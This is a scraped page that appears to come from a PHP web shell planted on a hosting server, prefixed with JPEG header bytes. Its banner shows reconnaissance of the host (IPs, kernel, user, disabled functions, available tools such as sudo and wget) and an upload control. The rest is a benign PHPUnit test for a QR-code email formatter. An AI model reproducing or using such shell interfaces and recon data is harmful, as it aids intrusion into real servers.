ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.144.235.210 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds/vendor/simplesoftwareio/simple-qrcode/tests/DataTypes/ |
Upload File : |
<?php use PHPUnit\Framework\TestCase; use SimpleSoftwareIO\QrCode\DataTypes\Email; class EmailTest extends TestCase { public function setUp() { $this->email = new Email(); } public function test_it_generates_the_proper_format_when_only_an_email_address_is_supplied() { $this->email->create(['foo@bar.com']); $properFormat = 'mailto:foo@bar.com'; $this->assertEquals($properFormat, strval($this->email)); } public function test_it_generates_the_proper_format_when_an_email_subject_and_body_are_supplied() { $this->email->create(['foo@bar.com', 'foo', 'bar']); $properFormat = 'mailto:foo@bar.com?subject=foo&body=bar'; $this->assertEquals($properFormat, strval($this->email)); } public function test_it_generates_the_proper_format_when_an_email_and_subject_are_supplied() { $this->email->create(['foo@bar.com', 'foo']); $properFormat = 'mailto:foo@bar.com?subject=foo'; $this->assertEquals($properFormat, strval($this->email)); } public function test_it_generates_the_proper_format_when_only_a_subject_is_provided() { $this->email->create([null, 'foo']); $properFormat = 'mailto:?subject=foo'; $this->assertEquals($properFormat, strval($this->email)); } /** * @expectedException \InvalidArgumentException */ public function test_it_throws_an_exception_when_an_invalid_email_is_given() { $this->email->create(['foo']); } }